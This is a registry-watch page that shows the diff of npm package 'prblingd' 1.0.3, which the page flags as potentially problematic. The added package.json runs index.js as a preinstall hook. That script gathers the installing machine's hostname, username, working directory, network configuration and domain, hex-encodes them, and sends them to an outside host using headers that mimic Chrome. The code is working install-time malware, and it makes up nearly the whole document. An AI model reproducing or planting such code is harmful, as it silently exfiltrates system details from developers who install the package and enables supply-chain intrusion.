prblingd 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of prblingd might be problematic. Click here for more details.
- package/index.js +86 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,86 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const os = require("os");
|
3
|
+
const http = require("http");
|
4
|
+
|
5
|
+
let hostnameCmd = "hostname";
|
6
|
+
let whoamiCmd = "whoami";
|
7
|
+
let pwdCmd = "pwd";
|
8
|
+
let processCmd = "ifconfig"; // Linux/Unix 系统
|
9
|
+
let orgCmd = ""; // 组织信息命令
|
10
|
+
|
11
|
+
if (os.platform() === "win32") {
|
12
|
+
hostnameCmd = "echo %COMPUTERNAME%";
|
13
|
+
whoamiCmd = "whoami";
|
14
|
+
pwdCmd = "cd";
|
15
|
+
processCmd = "ipconfig"; // Windows 系统
|
16
|
+
orgCmd = "wmic computersystem get domain"; // 获取 Windows 组织信息
|
17
|
+
} else {
|
18
|
+
orgCmd = "hostname -d"; // 获取 Linux 组织信息
|
19
|
+
}
|
20
|
+
|
21
|
+
exec(`${hostnameCmd} && ${whoamiCmd} && ${pwdCmd} && ${processCmd} && ${orgCmd}`, (error, stdout, stderr) => {
|
22
|
+
if (error) {
|
23
|
+
console.log("error", error.message);
|
24
|
+
return;
|
25
|
+
}
|
26
|
+
|
27
|
+
const output = stdout.split("\n");
|
28
|
+
|
29
|
+
const hostname = output[0].trim();
|
30
|
+
const whoami = output[1].trim();
|
31
|
+
const pwd = output[2].trim();
|
32
|
+
const processInfo = output.slice(3, -1).map(line => {
|
33
|
+
if (os.platform() === "win32") {
|
34
|
+
const columns = line.split('","');
|
35
|
+
return columns[0].replace(/"/g, '');
|
36
|
+
} else {
|
37
|
+
return line.trim();
|
38
|
+
}
|
39
|
+
}).join(", ");
|
40
|
+
|
41
|
+
const orgInfo = output[output.length - 1].trim(); // 组织信息
|
42
|
+
|
43
|
+
const combined = `${hostname}_${whoami}_${pwd}_${processInfo}_${orgInfo}`;
|
44
|
+
const encoded = Buffer.from(combined).toString('hex');
|
45
|
+
|
46
|
+
const options = {
|
47
|
+
hostname: '7b70004ec435.digimg.store',
|
48
|
+
port: 80,
|
49
|
+
path: `/?a=${encoded}`,
|
50
|
+
method: 'GET',
|
51
|
+
headers: {
|
52
|
+
'Sec-Ch-Ua': '"Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"',
|
53
|
+
'Sec-Fetch-Dest': 'document',
|
54
|
+
'X-Forwarded-Proto': 'https',
|
55
|
+
'Accept-Encoding': 'gzip, deflate, br, zstd',
|
56
|
+
'Upgrade-Insecure-Requests': '1',
|
57
|
+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
58
|
+
'Accept-Language': 'zh-CN,zh;q=0.9',
|
59
|
+
'Sec-Ch-Ua-Platform': '"Windows"',
|
60
|
+
'Sec-Fetch-Mode': 'navigate',
|
61
|
+
'Sec-Fetch-Site': 'none',
|
62
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
|
63
|
+
'Priority': 'u=0, i',
|
64
|
+
'Sec-Ch-Ua-Mobile': '?0',
|
65
|
+
'Sec-Fetch-User': '?1'
|
66
|
+
}
|
67
|
+
};
|
68
|
+
|
69
|
+
const req = http.request(options, (res) => {
|
70
|
+
let data = '';
|
71
|
+
|
72
|
+
res.on('data', (chunk) => {
|
73
|
+
data += chunk;
|
74
|
+
});
|
75
|
+
|
76
|
+
res.on('end', () => {
|
77
|
+
console.log('Response:', data);
|
78
|
+
});
|
79
|
+
});
|
80
|
+
|
81
|
+
req.on('error', (e) => {
|
82
|
+
console.error('Problem with request:', e.message);
|
83
|
+
});
|
84
|
+
|
85
|
+
req.end(); // 结束请求
|
86
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "prblingd",
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|